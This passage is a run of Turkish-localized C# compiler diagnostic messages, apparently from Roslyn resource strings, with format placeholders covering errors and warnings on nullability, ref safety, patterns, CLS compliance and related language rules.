bağımsız değişkeni bekleniyor + Giriş dizesi eşdeğer UTF-8 bayt gösterimine dönüştürülemiyor. {0} + Parametrenin birden çok farklı varsayılan değeri var. + '{0}' türünün bağımsız değişkeni DefaultParameterValue özniteliği için kullanılamıyor + Kullanıcı tanımlı dönüştürme, kapsayan türe veya kapsayan türden dönüştürmelidir + Atanmamış olabilecek alanın kullanımı + '{1}' türünün '{0}' yapı üyesi yapı düzeninde bir döngüye neden olur + Kısıtlama türü CLS uyumlu değil + ayraç içine alınmış desen + Soyut olduğu için '{0}' öznitelik sınıfı uygulanamıyor + Bu, referans olarak yerel bir '{0}' üyesini döndürür, ancak bir ref yerel değildir + Belirtilen ifade her zaman sağlanan sabitle eşleşir. + '{0}' abstract, extern veya partial olarak işaretlenmediğinden gövde bildirmelidir + Ulaşılamayan kod algılandı + '{3}' özelliği C# {4} sürümünde kullanılamadığından '{0}', '{2}' türündeki '{1}' arabirim üyesini uygulayamaz. Lütfen '{5}' veya daha yüksek bir dil sürümü kullanın. + Başvuru alanı '{0}' önce başvuru atanmalı. + Olası null başvuru ataması. + kayıt yapıları + Bu zaman uyumsuz yöntemde 'await' işleçleri yok ve zaman uyumlu çalışacak. 'await' işlecini kullanarak engelleyici olmayan API çağrılarını beklemeyi veya 'await Task.Run(...)' kullanarak bir arka plan iş parçacığında CPU bağlantılı iş yapmayı düşünün. + Bağlamsal 'var' anahtar sözcüğü, açık lambda dönüş türü olarak kullanılamaz + yalnızca init ayarlayıcılar + '{0}' aralık değişkeni, bir yöntem türü parametresi ile aynı ada sahip olamaz + '{0}' türünün tanımlı bir oluşturucusu yok + anonim metot + Bir betik (.csx dosyası) bekleniyordu, ancak hiç belirtilmedi + Yalnızca tek bir parçalı tür bildiriminde bir parametre listesi olabilir + Dilim desenleri, '{0}' türünde bir değer için kullanılamaz. + Bu, referansa göre bir parametre döndürür, ancak bu bir ref parametresi değildir + null yapılabilir türler + '{0}', C# derleyicisinin bu sürümü tarafından desteklenmeyen '{1}' derleyici özelliğini gerektirir. + Birincil oluşturucu, sentezlenmiş kopya oluşturucusuyla çakışıyor. + Bir yanıt dosyası içinde belirtildiğinden /noconfig seçeneği yoksayılıyor + boş değer atanabilir başvuru türleri + var (...)' biçiminin ayrıştırması, 'var' için belirli bir türe izin vermiyor. + #line yönergesi için belirtilen satır numarası eksik veya geçersiz + Kötü biçimli XML dosyası "{0}" eklenemez + Çözümleyici derlemesi {0} : {1} yüklenemiyor + Kullanıcı tanımlı işleç '{0}' statik ve ortak olarak ifade edilmelidir + Bildirim geçerli değil; bunun yerine '{0} işleç <hedef-tür> (...' kullanın + '{0}': statik türler dönüş türleri olarak kullanılamaz + '{1}' öğesinde olmadığından '{0}' öğesinde de params parametresi olmamalıdır + Yerel '{0}' başvuruyla döndürülür, ancak başvuruyla döndürülemeyecek bir değere başlatıldı + Denetim, alan açıkça atanmadan önce çağırana döndürülür ve bu da 'default' öğesinin önceki örtük ataması ile sonuçlanır. + Geçici dosya oluşturulamıyor -- {0} + '{0}' için en iyi yeniden yükleme, '{1}' adlı bir parametre içermiyor + '{0}' tür parametresi içeren tür veya yöntem ile aynı ada sahip + Üye devralınmış üyeyi gizler; yeni anahtar sözcük eksik + Parçalı bir metodun parçalı tür içinde bildirilmesi gerekir + '{0}' öğesindeki '{1}' türü, '{2}' öğesindeki '{3}' içeri aktarılan ad alanı ile çakışıyor. '{0}' öğesinde tanımlanan tür kullanılıyor. + '{0}' öğesindeki '{1}' ad alanı, '{2}' öğesindeki '{3}' içeri aktarılan türü ile çakışıyor. '{0}' öğesinde tanımlanan ad alanı kullanılıyor. + Koleksiyon başlatıcısı için en iyi Add yöntemi olan '{0}' bazı geçersiz bağımsız değişkenlere sahip + '{0}' türündeki bir ifade asla sağlanan desenle eşleşemez. + Liste desenleri, '{0}' türündeki bir değer için kullanılamaz. Uygun 'Length' veya 'Count' özelliği bulunamadı. + Dizi oluşturmak için dizi boyutu ve dizi başlatıcısı belirtilmelidir + demet eşitliği + '{0}' tür parametresinin '{1}' için XML yorumunda eşleşen typeparam etiketi yoktur (ancak diğer tür parametrelerinin vardır) + Engellenemiyor: '{0}' yolu eşlenmemiş. '{1}' eşlenen yolu bekleniyordu. + Bir In parametresinin Out özniteliği olamaz + Koşullu ifadedeki atama her zaman sabittir; = yerine == kullanmayı mı amaçlıyordunuz? + '{0}' Win32 bildirim dosyası okunurken hata -- '{1}' + Bir ifade ağacı, düz metin arasına kod eklenmiş dize işleyicisi dönüşümü içeremez. + Ref koşullu operatörünün dalları, uyumsuz bildirim kapsamlarına sahip değişkenlere başvurur + '{1}' modülünden '{0}' özniteliği, kaynakta görünen örneğin yararına yoksayılacak + {0} bir aralık değişkenine atanamaz + Params parametresi, parametre listesindeki son parametre olmalıdır + '{0}' demet türünün eşleştirilmesi '{1}' alt desenlerini gerektirir, ancak '{2}' alt desenleri var. + Bağımsız değişken içermeyen bir throw deyimi, en yakın kapsayan catch yan tümcesinin içindeki bir finally yan tümcesinde kullanılamaz + Otomatik olarak uygulanan '{0}' 'set' erişimcisi, 'readonly' olarak işaretlenemez. + Demet en az iki öğe içermelidir. + '{0}' türü, tür bağımsız değişkeni olarak kullanılamaz. + '{0}', '{1}' için bir genel örnek veya uzantı tanımı içermediğinden foreach deyimi '{0}' türündeki değişkenler üzerinde çalışamaz. 'foreach' yerine 'await foreach' mi kullanmak istediniz? + File name '{0}' is empty, contains invalid characters, has a drive specification without an absolute path, or is too long + Bu başvuru, '{1}' değerini '{0}' olarak atar ancak '{1}' değeri '{0}' değerinden daha geniş bir değer kaçış kapsamına sahip olduğundan '{1}' değerinden daha dar kaçış kapsamlarına sahip '{0}' değeri üzerinden atamaya izin verir. + Parametre türündeki başvuru türlerinin boş değer atanabilirliği, geçersiz kılınan üye ile eşleşmiyor. + Hedef çalışma zamanı, bir arabirim üyesi için 'protected', 'protected internal' veya 'private protected' erişilebilirliğini desteklemez. + Gereken '{1}' özniteliği eksik olduğundan birlikte çalışma türü '{0}' eklenemiyor. + '{0}' döndüren zaman uyumsuz lambda ifadesi dönüştürülen temsilci, bir değer döndüremez + unmanaged genel tür kısıtlamaları + Null atanabilir başvuru türleri için ek açıklama yalnızca bir '#nullable' ek açıklama bağlamı içinde kodda kullanılmalıdır. Otomatik oluşturulan kod kaynakta açık bir '#nullable' yönergesi gerektirir. + Dil adı '{0}' geçersiz. + Bir for, using, fixed veya bildirim deyimi içinde birden çok tür kullanılamaz + '{0}' aralık değişkeni atanamıyor -- salt okunur + '{0}', {1} bağımsız değişkenlerini alan bir oluşturucu içermiyor + Derleme kültürü dizeleri gömülü NUL karakterler içeremez. + Beklenmeyen parametre listesi. + Modül başlatıcısının sıradan bir üye metodu olması gerekir + Sabit bir alan bir başvuru alanı olamaz. + sabit düz metin arasına kod eklenmiş dizeler + '{0}': hem bir kısıtlama sınıfı hem de 'unmanaged' kısıtlaması belirtilemez + '{0}' değişkeni, başvurulan değişkenleri kendi bildirim kapsamı dışında kullanıma sunabileceğinden bu bağlamda kullanılamaz + Null atanabilir '{0}' türünün bir desende kullanılması yasaktır; bunun yerine temel alınan '{0}' türünü kullanın. + Statik sanal veya soyut arabirim üyesine yalnızca tür parametresinde erişilebilir. + Her iki kısmi yöntem bildirimi de bir params parametresi kullanmalı ya da hiçbiri kullanmamalıdır + Açık arabirim bildirimindeki '{0}', uygulanabilecek arabirimin üyeleri arasında bulunamadı + '{0}' öğesindeki '{1}' türü, '{2}' öğesindeki '{3}' içeri aktarılan türü ile çakışıyor. '{0}' öğesinde tanımlanan tür kullanılıyor. + Açık 'System.Runtime.CompilerServices.NullableAttribute' uygulamasına izin verilmiyor. + Dizi öğeleri '{0}' türünde olamaz + Değiştiriciler olay erişimcisi bildirimlerine koyulamaz + '{0}, '{1}' arabirim üyesini uygulamıyor. '{2}' erişilemez bir üyeyi örtük olarak uygulayamaz. + Temel sınıf '{0}' tüm arabirimlerden önce gelmelidir + '{1}' ve '{2}' arasında ortak bir tür bulunamadığından, koşullu ifade {0} dil sürümünde geçerli değil. Hedef türündeki dönüştürmeyi kullanmak için dil sürümü {3} veya daha üstüne yükseltin. + Çakışan seçenekler belirtildi: Win32 kaynak dosyası; Win32 bildirimi + Yineleyici, işaretçi tür parametreleri içeremez + '{0}' türünden '{1}' türüne standart dönüştürme olmadığından CallerMemberNameAttribute uygulanamıyor + '{0}' parametresinin üyelerinden biri, ref veya out parametresi olmadığından başvuru ile döndürülemiyor + (Önceki hatayla ilgili sembolün konumu) + '-' stdin bağımsız değişkeni belirtildi ancak giriş, standart giriş akışından yeniden yönlendirilmedi. + Catch yan tümcesinin gövdesinde yield ile bir değer döndürülemez + Dönüş türündeki başvuru türlerinin null atanabilirliği örtük olarak uygulanan üyeyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + Bu, zaman uyumsuz bir yöntem olduğundan, döndürme ifadesi '{1}' türü yerine '{0}' türünde olmalıdır + { veya ; bekleniyor + this' anahtar sözcüğü statik özellikte, statik yöntemde veya statik alan başlatıcısında geçerli değildir + Parametre, lambda içinde parametre değiştiricisi içeriyor ancak hedef temsilci türünde içermiyor. + '{0}' arabirim üyesinin en belirgin bir uygulaması yok. Ne '{1} ', ne de '{2}' en belirgin değil. + isteğe bağlı parametre + Geçersiz arama yolu belirtildi + This' başvuruya göre döndürülemez. + Gömülü birlikte çalışma türü '{0}' ile eşleşen birlikte çalışma türü bulunamıyor. Bir derleme başvurunuz mu eksik? + Kaynakta bulunan derleme öznitelikleri AssemblyKeyFileAttribute veya AssemblyKeyNameAttribute, Proje Özellikleri'nde belirtilen /keyfile veya /keycontainer komut satırı seçeneği veya anahtar dosya adı veya anahtar kapsayıcısı ile çakışırsa bu uyarı oluşur. + Bu uyarı, InternalsVisibleToAttribute gibi bir özniteliğin doğru belirtilmediğini gösterir. + işaretçi + Başvuruya göre değişken bildirimi bir başlatıcıya sahip olmalıdır + 'MethodImplOptions.Synchronized' zaman uyumsuz bir yönteme uygulanamaz + '{0}' parametresi bir ref parametresi olmadığından başvuru ile döndürülemez + '{0}', geçerli bir işlev işaretçisi dönüş türü değiştiricisi değil. Geçerli değiştiriciler: 'ref' ve 'ref readonly'. + Bağımsız {0}, dil sürümü sürümündeki 'ref' anahtar sözcüğüyle {1}. 'ref' bağımsız değişkenlerini 'in' parametrelerine geçiremiyorsanız, dil sürümüne {2} veya daha yüksek bir sürüme yükseltin. + Geçersiz nesne oluşturma + NotNullIfNotNull tarafından başvurulan parametre null olmadığından parametre çıkış yaparken null olmayan bir değere sahip olmalıdır. + Ad alanında tanımlanan öğeler private, protected, protected internal veya private protected olarak açıkça bildirilemez + İkili işlecin parametrelerinden biri, içeren tür veya tür parametresi ile kısıtlanmış olmalıdır. + /moduleassemblyname seçeneği yalnızca 'module' öğesinin hedef türü oluşturulurken belirtilebilir + Muhtemelen null atanabilirlik öznitelikleri nedeniyle, '{0}' dönüş türündeki başvuru türlerinin null atanabilirliği '{1}' hedef temsilcisiyle eşleşmiyor. + '{0}' tür parametresi çakışan '{1}' ve '{2}' kısıtlamalarını devralıyor + '{0}' kaynak tanımlayıcısı bu derlemede zaten kullanılmış + '{0}' için varsayılan parametre değeri bir derleme zamanı sabiti olmalıdır + Program, giriş noktası için uygun bir statik 'Main' yöntemi içermiyor + '{0}' birincil oluşturucu parametresi referans olarak döndürülemez. + '{0}' kayıt üyesi statik olmayabilir. + Bu hata iki derlemede System.Int32 gibi öntanımlı bir sistem türü bulunduğunda oluşur. Bunun oluşabileceği yollardan biri, .NET Framework'ün iki sürümünü yan yana çalıştırmaya çalışmak gibi mscorlib veya System.Runtime.dll öğelerine iki farklı yerden başvurmanızdır. + '{0}' öğesinin bir üyesi, başvuru ile döndürülemeyen bir değerle başlatıldığından başvuru ile döndürülemez + Gerekli '{0}' üyesi, '{1}' tarafından gizlenemez. + Değişken sayıda bağımsız değişken içeren yöntemler CLS uyumlu değildir + Değişmez değerli sayısal belirteçler oluşturmak için Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal öğesini kullanın. + İki kısmi yöntem bildiriminin de statik olması ya da hiçbirinin statik olmaması gerekir + '{0}' kilit deyimi tarafından gereken bir başvuru türü değil + '{0}', '{1}' desenini uygulamıyor. '{2}' bir genel örnek veya genişletme metodu değil. + Zaman uyumsuz foreach deyimi, '{0}' türündeki değişkenler '{1}' arabiriminin birden çok örnek oluşturma işlemini uyguladığından bu türdeki değişkenlerle çalışmaz. Türü, belirli bir arabirim örnek oluşturma işlemine atamayı deneyin + Başvuru alanı, kullanımdan önce başvuruya atanabilir olmalıdır. + Statik bir salt okunur alan, yazılabilir başvuru ile döndürülemez + '{0}', '{1}' için bir genel örnek veya uzantı tanımı içermediğinden zaman uyumsuz foreach deyimi '{0}' türündeki değişkenler üzerinde çalışamaz. 'await foreach' yerine 'foreach' mi kullanmak istediniz? + 'Örtük' kullanıcı tanımlı bir dönüştürme işleci işaretlenmiş olarak bildirilemiyor + CLS uyumlu arabirimler yalnızca CLS uyumlu üyelere sahip olmalı + Eklenen modüllerin derlemeyle eşleşebilmesi için CLSCompliant özniteliğiyle işaretlenmesi gerekir + '{0}': bir parametre, yerel değişken veya yerel işlev, bir metot türü parametresi ile aynı ada sahip olamaz + Döndürme türü CLS uyumlu değil + {0} ikon dosyası açılırken hata -- {1} + '{0}' bir __arglist parametresine sahip olduğundan '{2}' türünde '{1}' arabirim üyesini uygulayamıyor. + Yüklenen bütünleştirilmiş kod, desteklenmeyen .NET Framework'e başvuruyor. + '{0}' argümanlarının bu kombinasyonu, '{1}' parametresi tarafından başvurulan değişkenleri bildirim kapsamının dışında gösterebilir. + Türü örtük olarak belirlenen '{0}' ayrıştırma değişkeninin türü çıkarsanamıyor. + Üye bu öznitelikte kullanılamıyor. + Geçersiz kılma ve açık arabirim uygulama yöntemlerinin kısıtlamaları temel yöntemden devralınır ve bu nedenle, bir 'class' veya 'struct' kısıtlaması dışında doğrudan belirtilemez. + Önişlemci yönergesi için belirtilen geçersiz dosya adı + '{1}' tipindeki '{0}' yapı birincil oluşturucu parametresi, yapı düzeninde bir döngüye neden olur + '{0}', '{1}' derlemesinde tanımlı. + Bir '{0}' karakteri, bir aradeğerlendirme dizesinde (yineleme yapılarak) atlatılmalıdır. + “{0}” yöntem grubunu temsilci olmayan tip “{1}”e dönüştürme. Yöntemi çağırmayı düşündünüz mü? + genişletme yöntemi + İfade bir ada sahip değil. + Engelleyici '{1}' üzerinde '{0}' parametresiyle eşleşen bir 'this' parametresine sahip olmalıdır. + Hata ayıklama bilgileri yazılırken beklenmeyen hata -- '{0}' + Derleme (C#): + Tür CLS uyumlu değil + '{0}' statik türüne dönüştürülemiyor + Tür yalnızca CLS uyumlu türler kullanan hiçbir erişilebilir oluşturucuya sahip değil + Bir üye referansla döndürülür, ancak referansla döndürülemeyecek bir değere başlatıldı + 'CLS uyumsuz '{1}' türünün üyesi olduğundan '{0}' CLS uyumlu olarak işaretlenemez + Filtre ifadesi bir sabit ‘false’ değeri, catch yan tümcesini kaldırmayı deneyin + anonim türler + '{0}' sabiti statik olarak işaretlenemez + '{0}' özelliği veya dizin erişimcisi, alma erişimcisi olmadığından bu bağlamda kullanılamaz + Salt okunur yapılarına otomatik olarak uygulanan örnek özellikler salt okunur olmalıdır. + Genel bir görev benzeri dönüş türü bekleniyordu, ancak ' AsyncMethodBuilder ' özniteliğinde bulunan '{0}' türü uygun değildi. İlişkisiz bir genel tür olması ve içeren türü (varsa) genel olmayan olması gerekir. + Arabirimlerdeki örnek özelliklerinin başlatıcıları olamaz. + Belirtilen dil sürümünün ('{0}') başında sıfır olamaz + Modül başlatıcısı 'UnmanagedCallersOnly' ile ilişkilendirilemez. + '{0}' yanıt dosyası açılırken hata + Koleksiyon başlatıcı öğesi için en iyi aşırı yüklü Ekle yöntemi kullanılmıyor + Muhtemelen null atanabilirlik öznitelikleri nedeniyle, parametre türündeki başvuru türlerinin null atanabilirliği hedef temsilciyle eşleşmiyor. + kayıtta mühürlü ToString + Tutarsız erişilebilirlik: '{1}' dönüş türü, '{0}' işlecinden daha az erişilebilir + Kullanılmayan extern diğer adı. + Türü örtük olarak belirlenen '{0}' out değişkenine başvuruya aynı bağımsız değişken listesinde izin verilmez. + '{0}' türündeki bildirimde partial değiştiricisi eksik; bu türün başka bir partial bildirimi var + İfade, atanabilir değişken olmadığından '{0}' ifadesine dönüştürülemiyor + '{0}': '{1}' öğesinin geçersiz kılınabilir bir set erişeni olmadığından geçersiz kılınamıyor + Desen eksik + '{0}' extern diğer adı, /reference seçeneğinde belirtilmemiş + '{0}' bilinen bir öznitelik konumu değildir. Bu bildirim için geçerli öznitelik konumları: '{1}'. Bu bloktaki tüm öznitelikler yoksayılacak. + __arglist, void türünde bir bağımsız değişkene sahip olamaz + Parametre {0} '{1}' anahtar sözcüğü ile ifade edilmelidir + '{0}' arabiriminde '{1}' olayını katıştırmak için gereken geçersiz bir kaynak arabirimi var. + Koleksiyon başlatıcı öğesi için en iyi yeniden yüklenmiş yöntem eşleşmesi olan '{0}' kullanılamıyor. Koleksiyon başlatıcı 'Add' yöntemleri ref veya out parametreleri içeremez. + Tür, yalnızca değerlendirme amaçlıdır ve gelecekteki güncelleştirmelerde değiştirilebilir veya kaldırılabilir. + '&' işleci, zaman uyumsuz yöntemlerdeki parametrelerde veya yerel değişkenlerde kullanılmamalı. + '{0}': geçersiz kılmak için uygun yöntem bulunamadı + <path list> + Bir '{1}' olduğundan '{0}' üyeleri değiştirilemiyor + '{0}': yalnızca CLS uyumlu üyeler soyut olabilir + Gereksiz using yönergesi + Modül oluşturulurken kaynak dosyaları bağlanamaz + <genel ad uzayı> + '{0}' ve '{1}' ile bağlantılı döngüsel kısıtlama bağımlılığı + '{0}' işleç == veya işleç != öğesini tanımlar ancak Object.GetHashCode() öğesini geçersiz kılmaz + Desteklenen dil sürümleri: + '_' adı atma desenine değil sabite başvuruyor. Değeri atmak için 'var _' adını ya da bu ada sahip bir sabite başvurmak için '@_' adını kullanın. + İkili işlecin parametrelerinden biri kapsayan tür olmalıdır + '{0}', '{1}' öğesini uygulamaz + '{0}' korunan üyesine '{1}' türündeki niteleyici kullanılarak erişilemez; niteleyici '{2}' türünde (veya bundan türetilmiş) olmalıdır + Önişlemci yönergelerinde ham dize sabit değerlerine izin verilmez. + Derleyici için gerekli olan '{0}.{1}' üyesi eksik + Derleme ve modül özniteliklerine bu bağlamda izin verilmiyor + Tek satırlık açıklama veya satır sonu bekleniyor + Üye devralınan üyeyi gizlemez; yeni anahtar sözcük gerekli değil + CollectionBuilderAttribute oluşturucu türü genel olmayan bir sınıf veya yapı olmalıdır. + Açık oluşturucuları olmayan yapı birimleri başlatıcıları olan üyeler içeremez. + '{0}': statik sınıflar kısıtlama olarak kullanılamaz + Zaman uyumsuz bir metodun dönüş türü void, Task, Task<T>, task benzeri bir tür, IAsyncEnumerable<T> veya IAsyncEnumerator<T> olmalıdır + XML yorumunun, çözümlenemeyen '{0}' cref özniteliği var + '{0}' tür adı '{1}' ad alanında bulunamadı. Bu tür '{2}' derlemesine iletilmiş Bu derlemeye bir başvuru eklemeyi deneyin. + '{0}' yöntemi, '{1}' tür parametresi için bir 'class' kısıtlaması belirtiyor, ancak geçersiz kılınan veya açıkça uygulanan '{3}' yönteminin karşılık gelen '{2}' tür parametresi bir başvuru türü değil. + Foreach '{0}' üzerinde çalışamaz. '{0}' öğesini çağırmayı mı istiyordunuz? + Geçici alana başvuru geçici olarak ele alınmayacak + Başvuruya göre sıralanan bir sınıfın alanında üyeye erişmek çalışma zamanı özel durumuna neden olabilir + Alan void türüne sahip olamaz + Olası yöntem adı '{0}' çağrılmadığından engellenemiyor. + Temel tür CLS uyumlu değil + Salt okunur bir türün '{0}' birincil oluşturucu parametresinin üyeleri değiştirilemez (türün yalnızca init ayarlayıcısı veya bir değişken başlatıcısı dışında) + Genişletme yöntemleri en üst düzey bir statik sınıfta tanımlanmalıdır; {0} iç içe yerleştirilmiş bir sınıftır + '{0}' çağırma kuralı, dil tarafından desteklenmiyor. + '{0}' modülü bu derlemeden zaten tanımlanmış. Her modülün benzersiz bir dosya adı olmalıdır. + Öznitelikler bu bağlamda geçerli değil. + sabit boyutlu arabellekler + Yöntem veya erişimci bloğundan sonraki noktalı virgül geçerli değil + {0} '{1}' üyeleri salt okunur değişken olduğundan ref veya out değeri olarak kullanılamaz + Kullanıcı tanımlı '{0}' işleci işaretlenmiş olarak bildirilemiyor + '{1}' derlemesinden '{0}' birlikte çalışma türünün katıştırılması geçerli derlemede ad çakışmasına neden oluyor. 'Embed Interop Types' özelliğini false olarak ayarlamayı deneyin. + Değişken sayıda bağımsız değişken içeren yöntemler CLS uyumlu değildir + '{0}': erişimcilerdeki erişilebilirlik değiştiricileri yalnızca özellik veya dizin oluşturucusu hem alma hem ayarlama erişimcisine sahipse kullanılabilir. + Derleyicinin gereken '{0}' türü bulunamadığından 'dynamic' kullanan bir sınıf veya üye tanımlanamıyor. Bir başvuruyu eksik mi bıraktınız? + abstract' değiştiricisi alanlarda geçerli değildir. Yerine bir özellik kullanmayı deneyin. + Kayıt mühürlü olmadığından, '{0}' kopya oluşturucusu genel veya korumalı olmalıdır. + boole türünde switch + İfadenin sonucu her zaman '{0}' türünün 'null' değeridir + '{0}' parametre türündeki başvuru türlerinin boş değer atanabilirliği kısmi metot bildirimi ile eşleşmiyor. + CLSCompliant özniteliğinin döndürme türlerine uygulandığında anlamı yoktur + Bloktaki dönüş türlerinden bazıları örtük olarak temsilci dönüş türüne dönüştürülebilir olmadığından {0} istenen temsilci türüne dönüştürülemiyor + Genel olarak görülebilir tür veya '{0}' üyesi için XML yorumu eksik + '{0}' üyesi '{2}' türündeki '{1}' arabirim üyesini uyguluyor. Çalışma zamanında arabirim üyesi için birden fazla eşleşme var. Hangi yöntemin çağrılacağı uygulamaya bağımlıdır. + Derleyici bir uyarıyla hatayı geçersiz kıldığında bu uyarıyı gösterir. Sorun hakkında bilgi için, bahsedilen hata kodunu arayın. + using değişkeni + new() kısıtlaması belirtilen son kısıtlama olmalıdır + '{0}', '{2}' türünün arabirim listesinde '{1}' gibi başka demet öğesi adlarıyla birlikte zaten listelenmiş. + '{0}' türündeki bağımsız değişken, başvuru türlerinin null atanabilirlik farklılıkları nedeniyle '{3}' içinde '{2}' parametresi için '{1}' türündeki bir çıkış olarak kullanılamaz. + başvuru alanları + '{0}' alanı hiçbir zaman atanmaz ve her zaman varsayılan {1} değerine sahip olur + '{0}' friend derleme başvurusu geçersiz. Kesin ad imzalı derlemelerin kendi InternalsVisibleTo bildirmelerinde bir ortak anahtar belirtmesi gerekir. + Temel arabirim CLS uyumlu olmadığından tür CLS uyumlu değil + '{1}' türü aynı parametre türleriyle '{0}' adlı bir üyeyi zaten tanımlıyor + <!-- Badly formed XML comment ignored for member "{0}" --> + Satır içi dizi yapısında açık düzen olmamalıdır. + Bir veya daha fazla out parametresi olduğundan parametre listesi olmayan anonim yöntem bloğu '{0}' temsilci türüne dönüştürülemiyor + '{0}' parametresinin null atanabilirliği geçersiz kılınmış üyeyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + '{0}' özniteliği yalnızca yöntemlerde veya öznitelik sınıflarında geçerlidir + Satır içi dizi uzunluğu 0'dan büyük olmalıdır. + void' anahtar sözcüğü bu bağlamda kullanılmaz + Switch ifadesi bazı null girişleri işlemiyor (kapsamlı değildir). Örneğin, '{0}' deseni kapsanmıyor. Ancak, 'when' yan tümcesinin bulunduğu bir desen, bu değerle başarıyla eşleşebilir. + 'Satır içi diziler' dil özelliği, 'ref' alanı olan veya tür bağımsız değişkeni olarak geçerli olmayan türe sahip öğe alanına sahip satır içi dizi türleri için desteklenmiyor. + '{1}' ad alanı '{0}' için zaten bir tanım içeriyor + öğeler: boş olmamalıdır + extern yerel işlevleri + Tanımlayıcı veya sayısal sabit değer bekleniyordu. + '{1}' öğesindeki XML yorumu '{0}' için paramref etiketine sahip, ancak bu adlı bir parametre yok + Yeniden yüklenebilir birli işleç bekleniyor + Bu, referans veya çıkış parametresi olmayan ' {0}' parametresinin bir üyesini referans olarak döndürür + '{0}' bir tür parametresi olduğundan burada sanal olmayan üye araması yapılamıyor + Bir özellik alt deseni, özellik veya alan başvurusunun eşleşmesini gerektiriyor, ör. '{{ Name: {0} }}' + '{1}' öğesinde depolanan '{0}' modül adı dosya adıyla eşleşmelidir. + Null sabit değer, boş değer atanamayan başvuru türüne dönüştürülemiyor. + Bir başvuruya göre hazırlama sınıfının alanı olduğundan, '{0}' öğesini ref veya out değeri olarak kullanmak ya da adresini almak çalışma zamanı özel durumuna neden olabilir + Belirtilen '{0}' sürüm dizesi önerilen biçime uymuyor - major.minor.build.revision + Bu, ref veya out parametresi olmayan bir parametre üyesini referans olarak döndürür + '{0}': dizi öğeleri statik türünde olamaz + oluşturucu + SyntaxTree derlemenin bir parçası olmadığından kaldırılamaz + '{0}' ve '{1}' arasında hiçbir açık dönüştürme olmadığından koşul ifadesinin türü belirlenemiyor + '{1}' olduğu için '{0}' öğesine atama yapılamaz + '{0}' olayı += veya -= işaretlerinin yalnızca sol tarafında görünebilir ('{1}' türü içinden kullanılması durumu dışında) + Ayarlama erişimcisine erişilemediğinden '{0}' özelliği veya dizin erişimcisi bu bağlamda kullanılamaz + '{0}' parametresinin 'scoped' değiştiricisi, '{1}' hedefiyle eşleşmiyor. + {0}, geçerli bir C# dönüştürme ifadesi değil + '{0}' adlandırılmış bağımsız değişkeni konumsal bir bağımsız değişkenin zaten verildiği bir parametreyi belirtiyor + '{0}' yöntem grubu, temsilci olmayan '{1}' türüne dönüştürülemez. Yöntemi çağırmak mı istiyordunuz? + Yalnızca derlemeler için geçerli olduğundan modülde /win32manifest yoksayılıyor + foreach, '{1}' öğesinin '{0}' döndürme türünde uygun bir ortak MoveNext yönteminin veya ortak Current özelliğinin olmasını gerektirir + (Önceki uyarıyla ilgili sembolün konumu) + Dizi başlatıcıları yalnızca değişkende veya alan başlatıcısında kullanılabilir. Bunun yerine bir new ifadesi kullanmayı deneyin. + <null> + <text> + varsayılan tür parametresi kısıtlamaları + '{0}' metodu ile '{1}' temsilcisi arasında başvuru uyuşmazlığı + '{0}': '{1}' bir işlev olmadığından geçersiz kılınamıyor + türü örtük olarak belirlenmiş yerel değişken + {0} kayıt üyesi, {1} konumsal parametresi ile eşleşmesi için {2} türünde okunabilir bir örnek özelliği veya alan olmalıdır. + Hedef çalışma zamanı varsayılan arabirim uygulamasını desteklemediğinden '{0}', '{1}' arabirim üyesini '{2}' türünde uygulayamaz. + Satır içi dizi yapısı yalnızca bir örnek alanı bildirilmelidir. + Önceden tanımlanmış '{0}' türü bir yapı olmalıdır. + Satır içi dizi erişiminin adlandırılmış bağımsız değişken belirticisi olamaz + türü örtük olarak belirlenmiş dizi + Tanımlayıcı belirteçler oluşturmak için Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier veya Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier öğesini kullanın. + 'delegate' anahtar sözcüğü kısıtlama olarak kullanılamaz. 'System.Delegate' mi demek istediniz? + '{0}': using deyiminde kullanılan tür örtük olarak 'System.IDisposable' arabirimine dönüştürülebilir olmalıdır. + Olası istenmeden yapılan başvuru karşılaştırması; değer karşılaştırması almak için sol tarafı '{0}' türüne atayın + Geçersiz sıra belirticisi: ',' veya ']' bekleniyor + Özellik erişimcisi zaten tanımlı + Bir dizi başlatıcısı ile açıkça yazılmış bir değişken başlatılamıyor + Sabitte yeni satır karakteri + 'Uyarılar', 'ek açıklama' veya yönergenin sonu bekleniyordu + Bir çözümleyici örneği oluşturulamıyor + '{1}' bir yineleyici arabirimi türü olmadığından '{0}' gövdesi yineleyici bloğu olamaz + '{0}' atanan ifade sabit olmalıdır + Değişken bildiriminde dizi boyutu belirtilemez (bir 'new' ifadesiyle başlatmayı deneyin) + Filtre ifadesi bir sabit ‘false’ değeri. + '{0}': soyut etkinliğin başlatıcısı olamaz + Eşdeğer kimlikli birden çok derleme içeri aktarıldı: '{0}' ve '{1}'. Yinelenen başvurulardan birini kaldırın. + '{0}': using deyiminde kullanılan tür örtük olarak 'System.IDisposable' arabirimine dönüştürülebilir olmalıdır. 'using' yerine 'await using' mi kullanmak istediniz? + '{0}' öğesindeki '{1}' türü '{2}' öğesindeki '{3}' ad alanı ile çakışıyor + Giriş, sağlanan desenle her zaman eşleşir. + '{0}' parametresi yakalanıp kapsayan türün durumuna girer ve değeri bir alan, özellik veya olay başlatmak için de kullanılır. + İsteğe bağlı bağımsız değişkenlere izin vermeyen bağlamlarda kullanılan bir üye için geçerli olduğundan CallerLineNumberAttribute öğesinin etkisi olmayacak + Tür bekleniyor + Konum sözdizimi ağacı kapsamı içinde olmalıdır. + modül başlatıcıları + Bir ifade ağacı çok boyutlu bir dizi başlatıcısı içeremez + Hedef çalışma zamanı, genişletilebilir veya çalışma zamanı ortamı varsayılanı çağırma kurallarını desteklemiyor. + InterpolatedStringHandlerArgument, lambda parametrelerine uygulandığında hiçbir etkiye sahip değildir ve çağrı sitesinde yok sayılır. + Arabirimler örnek alan içeremez + '{0}' öğesi, başvuru ile döndürülemeyen bir değerle başlatıldığından başvuru ile döndürülemez + Genel bir using yönergesi genel olmayan tüm using yönergelerinden önce gelmelidir. + Takma adlı bir adın beklenmeyen kullanımı + Parametre dizisi, bir genişletme yönteminde 'this' değiştiricisiyle birlikte kullanılamaz + '{0}' yöntemine yapılan çağrının dinamik olarak dağıtılması gerekiyor, ancak bir taban erişim ifadesinin bir parçası olduğundan dağıtılamıyor. Dinamik bağımsız değişkenlere tür atamayı veya taban erişimini ortadan 